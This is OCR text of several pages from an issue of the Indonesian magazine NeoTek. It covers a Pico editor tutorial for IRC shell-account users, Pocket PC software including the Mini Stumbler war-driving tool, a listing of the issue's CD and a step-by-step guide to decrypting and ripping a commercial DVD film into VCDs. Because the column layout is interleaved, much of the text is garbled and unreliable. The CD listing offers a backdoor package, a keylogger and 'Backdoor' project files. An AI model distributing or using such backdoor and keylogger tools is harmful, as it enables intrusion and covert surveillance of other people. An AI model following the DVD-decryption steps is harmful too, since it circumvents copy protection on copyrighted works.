meregister alamat email seperti yang http://www.trtec.com.br/pages/dtinyterm.html
Bagi sebagian besar pengguna Inter- ada di http://mail.yahoo.com, atau http://ftp.censoft.com/download/windows/TinyTER
net, khususnya para peserta chat di http://www.hotmail.com. M_Plus_Edition/ttplus-current.exe
IRC (Internet Relay Chat) yang su-
dah mengetahui fungsi dan manfaat Anda cukup memasukkan nama leng-
shell account, tentu suatu saat akan kap anda (fullname), alamat rumah,
memerlukan editor Pico untuk mela- alamat email, jenis kelamin (sex), tang-
kukan beberapa hal, misalnya mem- gal lahir, nama login (user ID), dan
buat script atau merubah isi file kon- kata sandi (password).
figurasi program seperti Exploit, BNC Ketika anda meregistrasi sebuah shell
(Bouncer), PsyBNC, Eggdrop, dan IRCD, account, maka secara otomatis anda
yang wajib dilakukan terlebih dahulu juga akan membutuhkan sebuah soft-
sebelum di-suspend ke dalam suatu ware yang akan anda pakai sebagai
proses yang bersifat background (BG). alat untuk masuk ke dalam shell yang
Untuk keperluan yang lain, Pico juga anda buat tadi.
Gambar 2. Tampilan program emulasi
bisa dimanfaatkan sebagai media un- Khusus bagi pengguna sistem operasi
tuk menulis listing program bereks- · NetTERM
Windows 95/98/ME/2000/XP atau http://www.securenetterm.com
tensi .c, .gcc, .pl, .cgi. Dan satu hal lagi NT, perangkat lunak atau yang lebih http://www.netterm.com/
yang juga perlu dicatat, salah satu pro- tepat disebut sebagai program emu- http://www.rocketdownload.com
gram email yang bekerja pada sistem lasi terminal, mutlak dibutuhkan. http://www.keyscreen.com/KeyScreen(s)/NetTerm.htm
http://www.u.arizona.edu/~djharris/internet/netterm.html
operasi UNIX, yaitu Pine, juga meng-
gunakan editor Pico sebagai fasilitas Catatan
Ada beberapa program emulasi terminal yang
untuk menulis (compose) mail. bisa anda pakai mengakses editor Pico pada
Oleh karena itu jika belum mahir meng- shell account yang anda registrasi tadi.
operasikannya, khususnya bagi anda Misalnya Telnet (yang sudah sejak lama ada
dalam hard disk komputer anda), puTTy,
peserta chat di IRC yang sama sekali TinyTERM, dan NetTERM.
belum memiliki shell account, namun
selalu berharap agar suatu hari kelak Dari pengalaman saya selama menggu-
nanti dapat menginstal dan meng-compile nakan program-program di atas, pro-
sendiri source code BNC, PsyBNC, gram yang sering saya pakai dan paling
Eggdrop, atau IRCD, maka ada baik- saya sukai adalah puTTy, alasannya
nya mulai sekarang mulai membiasa- cuma satu, yaitu karena puTTy meng-
kan diri bekerja dengan editor ini. ijinkan kita me-maximize-kan jendela
Gambar 3. Tampilan program emulasi

40 NeoTek Vol. IV No. 03


NeoTutor

Menjalankan Pico · Ctrl+V : Menggerakkan kursor satu layar penuh ke atas.


· Ctrl+Y : Menggerakkan kursor satu layar penuh ke bawah.
Seperti telah dijelaskan di atas, Pico adalah sebuah editor. · Ctrl+F : Menggerakkan kursor maju satu karakter ke kanan.
Oleh karena itu ketika anda akan menjalankannya, ada · Ctrl+B : Menggerakkan kursor mundur satu karakter ke kiri.
· Ctrl+N : Menggerakkan kursor turun satu baris.
dua hal yang ingin anda kerjakan dengan editor tersebut. · Ctrl+P : Menggerakkan kursor naik satu baris.
Yang pertama adalah anda bermaksud membuat sebuah · Ctrl+E : Menggerakkan kursor ke ujung kanan baris.
file baru (new file), dan yang ke dua anda bermaksud un- · Ctrl+C : Menampilkan posisi atau letak kursor.
· Ctrl+R : Menyisipkan teks yang di peroleh dari file teks lain.
tuk melihat isi file serta sekaligus menyuntingnya jika dirasa · Ctrl+T : Menampilkan daftar file yang akan disisipkan.
perlu (editing). · Ctrl+I : Menyisipkan karakter sebanyak satu tabulasi (tab).
· Ctrl+J : Membuat teks rata kiri dan rata kanan.
Untuk menjalankan Pico dengan alasan yang pertama · Ctrl+D : Menghapus satu karakter ke arah kiri dari posisi
(membuat file baru), maka anda cukup mengetik pico pada kursor.
prompt system, atau bisa juga langsung menambahkan · Ctrl+K : Menghapus baris pada posisi kursor berada.
nama bagi file baru yang akan anda buat tersebut. · Ctrl+T : Mengaktifkan fungsi spell checker editor Pico.
· Ctrl+O : Menyimpan berkas (save).
Sebagai contoh misalnya anda ingin membuat file baru · Ctrl+X : Mengakhiri (keluar) dari editor Pico.
dengan nama daftar-alamat.txt, maka ketik lah pico · Ctrl+G : Menampilkan bantuan (on-line help).
· Ctrl+W : Melakukan pencarian (searching) berdasarkan kriteria
daftar-alamat.txt, sesaat kemudian anda akan di bawa tertentu.
masuk ke dalam editor Pico, seperti yang diperlihatkan · Ctrl+U : Membatalkan efek suatu perintah atau
pada Gambar 4. perubahan data.

Gambar 4. Membuat file teks baru menggunakan editor Pico Gambar 6. Membuat file baru dengan nama LATIHAN

Gambar 5. Melihat isi sebuah file menggunakan editor Gambar 7. Mengubah nama file menjadi LATIHAN.TXT pada

Sedangkan kalau anda bermaksud melihat isi sebuah file, Untuk bahan praktek anda, coba buat sebuah file baru de-
maka yang anda lakukan adalah mengetik pico di prompt ngan nama LATIHAN, lalu ketik sembarang teks sebagai
system dengan diikuti nama file yang akan dilihat. Seba- isinya. Setelah selesai, tekan tombol Ctrl+O untuk me-
gai contoh misalnya anda ingin melihat isi file README, nyimpan. Pada saat anda menekan tombol tersebut, Pico
pada prompt system ketik pico README. akan meminta konfirmasi terlebih dahulu untuk mena-
nyakan apakah anda akan tetap menyimpan dengan nama
Perintah-perintah pada Editor Pico file yang pertama tadi, yaitu LATIHAN.
Pico juga memiliki sejumlah perintah yang berguna un- Jika anda tidak bermaksud merubahnya, maka lanjutkan
tuk membantu melakukan beberapa hal, misalnya meng- lah dengan menekan tombol Enter. Tapi jika anda ingin
geser layar dan kursor, menyisipkan teks, menghapus, dan merubahnya dengan nama yang lain, atau sekedar me-
menyimpan teks ke dalam file. Perintah-perintahnya sbb: nambah ekstensinya, maka ketiklah nama file atau eks-
tensi yang anda kehendaki, kemudian tekan tombol Enter.

Vol. IV No. 03 NeoTek 41


NeoTutor

Jika anda sudah selesai dan ingin keluar dari editor Pico,
tekan lah tombol Ctrl+X (Exit) untuk mengakhirinya.
Demikian lah akhir penjelasan tentang cara menggunakan
dan mengoperasikan program editor Pico, mudah-mudah-
an dapat lebih dipahami.
Jika anda masih membutuhkan informasi yang lebih
detail lagi mengenai editor tersebut, anda bisa mengetik
perintah "man pico" di prompt system shell account
anda.
Akhir kata, saya ingin mengucapkan terimakasih kepada
semua kru Majalah Neotek dan juga pada rekan-rekan di
#Neoteker yang juga memberikan support-nya untuk
perkembangan dan kemajuan Majalah ini. (Tricksy)

Gambar 8. Mengakhiri (exit) dari editor Pico

Berbagai Software untuk Pocket PC


GPS MAU ponen X-Master, sedangkan kan IrcCE dan masuk ke Mini Stumbler
B AHASAN
tidak mau memba-
wa kita ke berbagai
pada Pocket PC dapat meng-
gunakan IA Screenshot.
channel #neoteker. Dimana
saja dan kapan saja, chat terus!
software untuk PDA, khusus- Tombol untuk capture seca- Yahoo Messenger PPC
nya Pocket PC. Walaupun ra default adalah tombol fi-
GPS software juga tersedia sik (bukan soft key) bergam-
untuk Palm OS, namun ti- bar Windows pada Pocket
dak dibahas kali ini. PC anda.
Dalam menginstal software IrcCE
untuk Pocket PC, yang per-
tama kali harus anda kenali
adalah prosesor Pocket PC
anda. Pocket PC yang awal-
awal menggunakan prosesor
SH3 atau MIPS, sedangkan
yang terbaru mengguna-
kan prosesor ARM.
Setelah itu mungkin ada
spesifikasi untuk hardware
tertentu, atau sistem ope-
rasi tertentu, seperti apa- Atau lebih suka mengguna-
kah untuk Windows CE, kan Yahoo Messenger untuk
Pocket PC 2000/2002/2003. berkomunikasi? Gunakan
IA Screenshot Yahoo Messenger PPC.
Sayangnya Yahoo Messe-
nger PPC ini tidak mendu-
kung wi-fi dan hanya dapat
mengakses Internet lewat
modem atau lewat kompu-
ter host menggunakan USB
cable atau port infra merah.
Tidak banyak berguna ya? War driving dengan Pocket
Pocket DivX PC pasti lebih asik diban-
dingkan bawa-bawa laptop
Sudah kenal kan dengan ke mana-mana. Gunakan
DivX yang mampu mem- Mini Stumbler untuk men-
perkecil ukuran video agar cari access point di sekitar
bisa didistribusikan lewat anda, lengkap dengan MAC
Internet tanpa menurun- address, SSID, type. bahkan
kan mutu? Kini sudah ter- longitude dan lattitude-nya
Yang pertama kali menjadi Suka chatting di #neoteker dapat Pocket DivX yang
pertanyaan anda mungkin, di Dalnet? Kini lengkapi bila Pocket PC anda dileng-
memungkinkan anda me- kapi pula dengan GPS.
bagaimana screen shot pada Pocket PC anda dengan wi- mainkan video pada Pocket
Pocket PC diambil? fi card dan dapatkan hot PC anda. Mutu jauh lebih Hacking tool sekarang bisa
Pada Palm OS, screen shot spot terdekat (misalnya di baik daripada format 3GPP dibawa-bawa di saku anda.
diambil oleh salah satu kom- Sarinah Thamrin) dan jalan- pada Symbian handphone.

42 NeoTek Vol. IV No. 03


NeoReview

G PS Software daftar isi cd neotek


WINDOWS OPTIMIZER
Mengikuti bahasan utama tentang GPS, maka GPS software Advanced Uninstaller Advanced_Uninstaller20_SE.exe
banyak dimuat dalam CD NeoTek kali ini. Kalau anda belum Advanced Uninstaller 3.5 Tr. Advanced_Uninstaller35.exe
mempunyai GPS receiver, bukan berarti software ini semuanya Ashampoo Power Up 1.83 ashampoo_powerup2000v183.exe
tidak berguna. Ashampoo Power Up XP ashampoo_powerupxp20_se.exe
Kategori GPS Navigator pada dasarnya adalah GPS-enabled map, Ashampoo Win Optimizer ashampoo_winoptimizer2000_se.exe
yaitu peta elektronik yang dapat memanfaatkan GPS. Tanpa ada- Ashampoo Media Player ashampoo_mediaplayer180_fe.exe
nya GPS pun peta elektronik itu tetap berguna untuk mencari Disk Keeper Lite dklite.exe
lokasi, membentuk rute perjalanan, serta lain sebagainya. Free RAM frxpro.exe
Secure Up 2.0 Full setup.exe
Kategori GPS Receiver Tester memang baru berguna bila ada GPS Secure Up NT setup.exe
receiver-nya, tetapi beberapa mampu menggunakan data emulasi Firewall 2.0 Trial setup.exe
yang berasal dari file yang tersedia. Cukup untuk belajar. Surf Secret 3.0 Full setup_30_special.exe
Konversi DVD ke VCD Surf Secret 4.60 Trial trial.exe
Khusus untuk video editing kali ini dibahas suatu ‘proyek’ dalam PROGRAM UMUM
NeoReview mengkonversi DVD video menjadi dua kepng VCD. Smart FTP Full SFTPFull.exe
Sudah dicoba dan berjalan baik. Semua software yang diperlukan WS_FTP 5.0.8 ws_ftple.exe
disediakan dalam CD NeoTek kali ini. WinZip 9.0 beta wzbeta90.exe
Computer Optimizer Zip Genius zg14sr3_sui.exe
Computer optimizer merupakan kelompok software yang berguna vid92.exe
menjadikan pengalaman anda berkomputer dan berinternet lebih REMOTE CONTROL
mulus dan menyenangkan. Selain versi trial/demo yang terbaru, COOL! Remote Control remote.zip
tersedia juga full version dari edisi yang lebih awal. VNC 3.3.7 Linux vnc-3.3.7-x86_linux.tar
Advanced Uninstaller: uninstall software sampai membersih- VNC 3.3.7 RedHat 7.3 vnc-3.3.7-1.i386.rpm
kan registrinya. VNC 3.3.7 Windows vnc-3.3.7-x86_win32.exe
Power Up: memperkaya fungsi-fungsi pada Windows agar MULTI MEDIA API
lebih mudah mengakses yang anda perlukan. J2ME Wireless Toolkit Win j2me_wireless_toolkit-2_1beta-
Win Optimizer: mengoptimasi Windows serta membersihkan bin-windows.exe
hard disk dengan sekali jalan. J2ME Wireless Toolkit Linux j2me_wireless_toolkit-2_1-beta-
Disk Keeper Lite: menganalisa level fragmentasi untuk kemu- bin-linux-i386.bin
dian melakukan defragmentasi secara manual. Nokia Dev. Suite J2ME Win nds_jme_v_2_0.zip
Nokia MM Converter 2.0 nMMConverter_v2_0.zip
Secure Up: mengamankan data anda dari tangan jahil.
Advanced Uninstaller: secara otomatis menghapus Windows WINDOWS CE SOFTWARE
Internet file. ActiveSync 3.1 msasync.exe
ActiveSync 3.5 msasync.exe
IA Screenshot IAScreenShot10EN.exe
iPAQ MP3 Player 2nR-ipaq.zip
KONVERSI DVD KE VCD ircCE setup.exe
DVD Decrypter 3.1.60 decrypt.exe Mini Stumbler SH3 MiniStumbler.exe
DVD2AVI 1.77.3 dvd2avi.zip Mini Stumbler MIPS MiniStumbler.exe
TMPGEnc 2.520 tmpgenc.zip Mini Stumbler ARM MiniStumbler.exe
Easy Video Splitter 1.01 ezsplitter.exe Pocket DivX Casio BE300 Casio_BE300.zip
Nero Burning Rom 6.0 nero6300.exe Pocket DivX Casio E10x Casio_E10x.zip
GAMES PLAYALE DEMO Pocket DivX Casio PPC Casio_PocketPC.zip
The Hobbit hobbit.zip Pocket DivX iPAQ IPAQ_PocketPC.zip
War of The Ring warring.exe Pocket DivX Jornada 680 Jornada_680_HPC.zip
Resco Picture Viewer ResHack.zip Pocket DivX Jornada 720 Jornada_720_HPC.zip
Pocket DivX Jornada PPC Hornada_PocketPC.zip
GPS SOFTWARE Pocekt DivX PPC 2002 PocketPC2002.zip
GPS Viewer 1.0.1 (PC/PPC) GpsViewer101.exe Pocket LAN TrialPL3043.zip
NMEA Time Trial (PC) NMEATimeInstall.exe Yahoo Messenger PPC ymsgr-ppc.exe
TomTom GPS 2.0.8 (PPC) setup.exe
Visual GPS 3.0 (PC) VisualGPSInstall.exe PROYEK
WinFast Navigator CE (PPC) WinFast.zip Backdoor Cari.txt Confnya.txt
WinFast Navigator PC (PC) Winfast.zip Injeksi.txt Mulai.txt
WinGPS Pro 3.3.1 (PC) wingpspro331_en.exe Testing.txt
Keylogger mailer.exe
GPS NAVIGATOR demo1 demo2
HandMap PPC HandMap-pocketpc.exe MMAP1 MyMusic.java
HandyMap PC HandyMAP_PC1114.zip MMAPI2 MalamKudus.java
KingMap Singapore PPC KingMap_SGP.exe Play MMAPI MyVideo.java
Map Manager MapManager.exe VideoCanvas.java
MapKing 2003 PC MapKingV25_PC.zip Salome 2005 Salome2005.exe
MapKing Beijing PC Beijing.zip VB Notepad LittleNote.zip
MapKing HongKong PC HongKong.zip
MapKing Malaysia PC Malaysia_DEMO.zip BACKDOOR
Ozi Explorer PC oziexp_setup.exe OpenSSH openssh-3.6.1p2.tar.gz
Ozi Explorer 3D (PC) ozi3d1_setup.exe shv4 Backdoor shv4.tgz
Ozi Explorer CE pocketpc_setup.exe TERMINAL EMULATOR
Image 2 Ozf (PC) img2ozf_setup.exe PuTTY putty.exe
PocketStreet 2002 (PPC) setup.exe TinyTERM tinyterm.exe
TomTom City Map (PPC) setup.exe NetTERM 3.2.4.2 nt3242e.exe
TomTom Nav. 2.2.4 (PPC) setup.exe

44 NeoTek Vol. IV No. 03


NeoReview

KONVERSI VIDEO

DVD Menjadi VCD


Teknik, Software, dan Media yang Diperlukan
Memindahkan Isi DVD ke Hard Disk
Media DVD yang 4,7 Gbyte dengan mudah dapat menampung 2 jam film dengan kualitas tinggi,
bahkan 6 jam film kualitas VCD. Bagaiman cara mengkonversi DVD yang berukuran besar itu
hanya menjadi dua keping VCD?

EMINDAHKAN ISI CD KE HARD disk, apakah itu dari VTS_01_2.VOB, VTS_01_3.VOB, Konversi DVD disk menjadi
M audio CD, VCD, ataupun DVD dikenal sebagai
ripping. Berbeda dengan TMPGEnc yang melaku-
VTS_01_4.VOB,dan VTS_01_5.VOB. VCD disk mencakup tahap-
Kita kenali bahwa video ini terdiri tahap sebagai berikut:
kan encoding, yaitu membaca DVD disk dan mengkonver- dari lima file VOB (Video Object • DVD Ripping
sinya menjadi file *.mpg atau *.avi dan menyimpannya ke file). Kelima VOB file ini yang • VOB Decoding
hard disk, maka ripping hanya memindahkan isi disk ke akan menjadi perhatian kita dalm • MPEG-1 Encoding
hard disk tanpa mengubah formatnya. proses konversi. • MPG File Splitting
Memindahkan isi DVD ke hard disk dapat dilakukan de- Klik pada icon folder dan tetapkan • VCD Burning
ngan menggunakan DVD Decrypter, yang dimuat di CD dimana kita akan menyimpan
NeoTek edisi ini maupun yang lalu. Lihat kembali NeoTek hasil ripping. Misalnya di C:\dvd_dump. Selanjutnya pilih File
IV/2 ataupun III/10 yang banyak membahas struktur file > Decrypt (atau klik icon Decrypt) dan tunggu sampai selesai.
pada DVD disk.
Diasumsikan bahwa anda mempunyai CD-RW drive serta
DVD ROM drive (atau DVD ROM/RW Combo), yang ar-
tinya dapat membaca DVD disk dan mem-burn ke CD disk.
Masukkan DVD video yang akan di-rip ke dalam DVD ROM
drive, lalu jalankan DVD Decrypter. Di sini kita akan
mengkonversi DVD disk Pirates of the Caribbean: The
Curse of The Black Pearl menjadi dua VCD disk.

Tampilan pembuka DVD Encrypter yang membaca DVD video yang ada
di drive F: sebagai F:\Logical label. Ini adalah tampilan IFO Mode.

Terlihat bahwa panjang film adalah 2 jam, 12 menit, dan


56 detik dan terdiri atas 11 chapter. Chapter tidak diperhatikan.
Untuk melihat file-file yang berisi video stream, ubah ke File
Mode dengan Mode > File F dan akan terlihat file-file yang Perhatikan bahwa file video yang besar itu terbagi-bagi atas beberapa
berisi video stream (yaitu VTS_01_0.IFO, VTS_01_1.VOB, potongan dengan ukuran 1 Gbyte (921.836 Kbyte).

Vol. IV No. 03 NeoTek 45


NeoReview

Decode dan Konversi VO B File


Kelima file VOB yang diperoleh dari DVD video disk ukurannya sudah lebih dari 4,5 Gbyte dan
bila di-encode langusng menjadi file AVI, maka akan dihasilkan ukuran raksasa sekitar 150 Gbyte
Untuk itu gunakan DVD2AVI yang tidak benar-benar mengkonversi file VOB menjadi AVI.
EKERJA DENGAN DVD VIDEO TERNYATA KEPUSINGANNYA Pastikan bahwa Color Space yang dipilih adalah RGB 24-bit
B lebih besar, sejalan dengan besarnya file yang kita
proses. Dalam format distribusinya saja, DVD video
dan konversi YUV ke RGB adalah untuk televisi.
Video > Color Space > RGB 24-bit
dengan panjang film 2 jam sudah memakan habis kapasitas
4,7 Gbyte DVD disk. Apabila kita konversi ke file AVI maka
akan membengkak menjadi 150 Gbyte.
Apabila hanya untuk dimainkan di komputer, anda dapat
gunakan VirtualDub MPEG2 yang mengkonversi file-file
VOB (bisa langsung dari disk tanpa harus ripping terlebih
dahulu) menjadi file AVI yang dikompresi misalnya dengan Video > YUV -> RGB > TV Scale
DivX sehingga ukurannya jauh lebih kecil (sekitar seperse-
puluhnya), tapi karena kita ingin memindahkan film ini
dari DVD video ke VCD, maka diperlukan DVD2AVI.
DVD2AVI bisa mengkonversi file-file VOB menjadi satu
file AVI raksasa, tetapi bukan itu kelebihan program ini.
Program ini dapat membaca file-file VOB dan mengubah-
nya menjadi dua project file, satu untuk video (file D2V) Untuk audio lakukan setting untuk memilih decode ke file
dan lainnya untuk audio (file MPA). WAV serta kualitas audio yang tinggi.
Kedua file ini kemudian dapat dibaca oleh TMPGEnc yang Audio > Output Method -> Demux All Tracks (AC3, MPA, DTS)
akan meng-encode file-file VOB melalui kedua project file
ini. Seolah-olah DVD2AVI menjadi add-on tool terhadap
TMPGEnc. TMPGEnc sendiri secara langsung hanya dapat
membaca file-file video seperti AVI, MPG, dan ASF dan
tidak dapat langsung membaca VOB file.
Dengan adanya kemampuan TMPGEnc membaca project
file DVD2AVI, kita tidak usah benar-benar membentuk file Audio > 48 -> 44.1KHz -> High
AVI-nya dulu yang diperlukan oleh TMPGEnc untuk mem-
bentuk file MPG dalam format VCD.

DVD2AVI
Jalankan DVD2AVI dan buka file-file VOB: File > Open.
Cikup buka file VOB yang pertama dan semua yang
betikutnya akan ikut dimuat oleh DVD2AVI.

Setting Video dan Audio Selanjutnya pilih File > Save Project [F4] dan pilih untuk
men-save file D2V (beri nama misalnya pirate.d2v) ke di-
rektori yang sama tempat anda menyimpan VOB file (d-
alam hal ini di C:\dvd_dump).
Diperlukan waktu beberapa menit un-
tuk menyimpan project file (berupa
pirate.d2v untuk audio dan suatu file
mpa untuk audio-nya). Akan tampil
informasi tentang proses ini yang ber-
isi karakteristik DVD sumber. Catat
informasi ini sebab akan diperlukan
oleh TMPGEnc kelak.
Terlihat bahwa DVD video sumbernya
berformat NTSC dengan format audio
MPEG audio. Pada DVD video lain akan
lain lagi informasi yang didapat.
Kedua file yang dibentuk ukurannya
cukup kecil sebab file D2V yang 638
KB hanyalah informasi apabila file
VOB memang diubah menjadi AVI.

46 NeoTek Vol. IV No. 03


NeoReview

Membentuk M PG File untuk VCD PAL


File-file yang diperoleh dari DVD2AVI selanjutkan akan digunakan oleh TMPGEnc untuk melakukan
encoding terhadap file-file VOB menjadi file MPG dengan format target yang diinginkan.
Dalam hal ini akan kita ubah menjadi format VCD yang akan dimainkan pada televisi PAL..
elanjutnya jalankan TMPGEnc dan pada Project
S Wizard pilih format Video CD PAL dan klik
Next.

Proses encoding video yang panjangnya 2 jam ini mema-


kan waktu hampir dua kalinya (hampir 4 jam). File MPG
yang dihasilkan ternyata 1,3 Gbyte.
Bila ingin memaksakan juga satu DVD menjadi hanya
satu VCD, gunakan opsi pengaturan but rate terhadap
Selanjutnya load video file maupun audio file yang diper- video sesuai tabel berikut:
oleh dari proses DVD2AVI (gunakan opsi Show All Files
sebab terkadang file audio tidak terlihat). Lihat ke bagian Memilih Video Bit-Rate
Expert Setting for Source dan pastikan bahwa setting di Kapasitas 650M 650M 700M 700M 4.7G 4.7G
sini sama dengan informasi yang kita catat sebelumnya. Audio bit-rate 128 256 128 256 256 512
Klik Next. Akan tampil Filter Setting. Untk sementara
tidak kita bahas dulu opsi ini, teruskan dengan Next. Panjangnya Anda dapat menggunakan video bit-rate
video anda maksimum sebagai berikut (Kbps)
20 menit 4.309 4.181 4.650 4.522 31.829 31.573
30 menit 2.830 2.702 3.057 2.929 21.134 20.878
45 menit 1.844 1.716 1.995 1.867 14.004 13.748
1 jam 1.351 1.223 1.464 1.336 10.439 10.183
1 jam 15 mnt 1.055 927 1.146 1.018 8.300 8.044
1 jam 30 mnt 858 730 933 805 6874 6618
1 jam 45 mnt 717 589 782 654 5.855 5.599
2 jam 611 483 668 540 5.091 4.835
2 jam 15 mnt 529 401 579 451 4.497 4.241
2 jam 30 mnt 463 335 509 381 4.022 3.766
2 jam 45 mnt 409 281 451 323 3.633 3.377
3 jam 365 237 402 274 3.309 3.053
3 jam 15 mnt 327 N/A 362 234 3.034 2.778
Akan tampil peringatan bahwa bila kita memilih media 3 jam 30 mnt 294 N/A 327 N/A 2.799 2.543
CD-R 700 Mbyte, maka ukuran file MPG yang akan di- 3 jam 45 mnt 266 N/A 296 N/A 2.596 2.340
bentuk hampir dua kali kapsitas CD-R disk, tetapi karena
nanti file yang dibentuk akan kita potong jadi dua bagian, 4 jam 241 N/A 270 N/A 2.417 2.161
kita teruskan saja dengan klik Next. 4 jam 15 mnt 220 N/A 246 N/A 2.260 2.004
Kembali muncul peringatan dan ditanyakan apakah akan 4 jam 30 mnt N/A N/A 225 N/A 2.120 1.864
meneruskan. Klik Yes. Beri nama file MPG yang dibentuk, 4 jam 45 mnt N/A N/A N/A N/A 1.995 1.739
misalnya pirate.mpg dan klik OK untuk memulai encoding. Mutu DVD komersial/lebih baik
Mutu DVD personal
Sekitar mutu VCD atau sedikit lebih baik
Mutu web broadband broadcast atau sedikit lebih baik
Sekitar mutu Super VCD atau sedikit lebih baik Mutu web video dial up atau lebih buruk

Vol. IV No. 03 NeoTek 47


NeoReview

Membelah Dua File M PG


Ukuran 1,3 Gbyte memang sudah lebih kecil daripada 4,7 Gbyte yang ada pada DVD, tetapi
masih lebih besar daripada ukuran CD-R yang 650 atau 700 Mbyte. Biasanya DVD video dengan
2 jam pemutaran apabila dikonversi menjadi VCD akan memerlukan dua CD-R ukuran 700
Mbyte. Lebih baik lagi bila menggunakan CD-R dengan format 700 Mbyte/80 min.

EMANG TIDAK MUNGKIN MEM-BURN FILE 1,3 GBYTE


M kedalam CD-R yang kapasitasnya hanya 700 Mbyte.
Untuk itu diperlukan file splitter, khususnya
yang khusus untuk video. Easy Video Splitter 2.01 dapat
menbagi berbagai file video menjadi bagian-bagian sesuai
dengan kapasitas disk yang akan digunakan.
Selain dapat men-split berbagai jenis file video (MPEG,
MPG, MPG2, AVI, M2p, WMV, maupun ASF), Easy
Video Splitter juga memberikan preview terhadap hasil
split yang membuat proses ini sangat mudah.

Easy Video Splitter 2.01

Split dapat dilakukan secara manual atau otomatis. Ka-


rena hanya membagi dua begitu saja tanpa memperhati-
kan adegannya, cukup gunakan cara otomatis
Di bagian bawah layar preview terlihat slide bar yang
menunjukkan waktu putar video tersebut.
Tetapkan saja pembagian menjadi dua sama besar dengan
mennetapkan pada Split into ... files. Masukkan 2 disini.
Selanjutnya mainkan batasan ukuran clip dan klik tanda
tick. Kemudian lihat sudah terpotong di menit keberapa.
Kalau belum memuaskan, ubah lagi batas ukuran clip-nya
dan lihat lagi hasilnya sampai sesuai dengan yang diinginkan.
Pada contoh film sepanjang 2 jam 13 menit 6 detik ini file
MPG-nya dapat dibagi dua sama besar 667 Mbyte, yang da-
pat dimuat dalam CD-R 700 Mbyte/80 Min. Sebagai catatan, CD-R yang disediakan ada baiknya yang
tertanda 700 Mbte/80 Min dan bukan hanya 700 Mbyte,
Selanjutnya klik tombol Split (lingkaran hijau) dan proses sebab yang pertama ditujukan untuk audio/video maupun
split akan berlangsung dan secara otomatis membagi file data, sedangkan yang kedua hanya untuk data.
pirate.mpg menjadi pirate-1.mpg dan pirate-2.mpg. Pro-
ses ini hanya memakan waktu beberapa menit saja. Harga CD-R yang 700 Mbyte/80 Min sedikit lebih mahal
dari yang hanya 700 Mbyte (sekitar 4000 rupiah diban-
Terlihat bahwa file kini file pirate.mpg (1.359.141 Kbyte) dingkan hanya 2500 rupiah untuk yang hanya untuk data).
telah dipecah dua menjadi pirate-1.mpg (683.006 Kbyte)
dan pirate-2.mpg (676.060 Kbyte). Kini kedua file ini siap Kecepatan burn juga tidak usah terlalu tinggi, agar disesuai-
kita burn ke CD-R 700 Mbyte/80 Min untuk menjadi kan dengan VCD player yang akan memainkannya.
Video CD.

48 NeoTek Vol. IV No. 03


NeoReview

Burn File M PG Menjadi VCD


Software yang menyertai CD burner bermacam-macam seperti Nero Burning ROM,
Adaptec Easy CD Creator, atau NTI CD Creator, tetapi pada dasarnya semua dapat digunakan untuk
mem-burn CD untuk data, audio, video, maupun campuran semuanya.
Pada contoh ini kita gunakan Nero Burning ROM.

N
ERO BURNING ROM DISERTAKAN
BERSAMA CD BURNER yang
anda beli (atau software lain
yang serupa). Pemakaiannya sangat
mudah, mulai dari Start menu: Start
> Ahead Nero > Nero - Burning Rom

Nero Wizard
Pada layar Nero Wizard:
Compile a New CD, klik Next.
Pilih Other CD format, klik Next.
Pilih Video CD, klik Next, lalu Masukkan CD-R blank dan pilih File
Finish. > Write CD dan pada jendela wizard
Akan tampil dua pane tambahan di yang tanpil klik tombol Burn.
bawah menu bar Nero, yaitu untuk Proses burn akan berlangsung dan
Video1 dan File Browser. jadilah VCD anda yang pertama.
Drag-and-drop pirate-1.mpg dari lakukan hal yang sama terhadap file
pane kanan (File Browser) ke pane pirate-2.mpg untuk mendapatkan
kiri bawah (Video1). VCD yang kedua.

Iklan visionnet

You might also like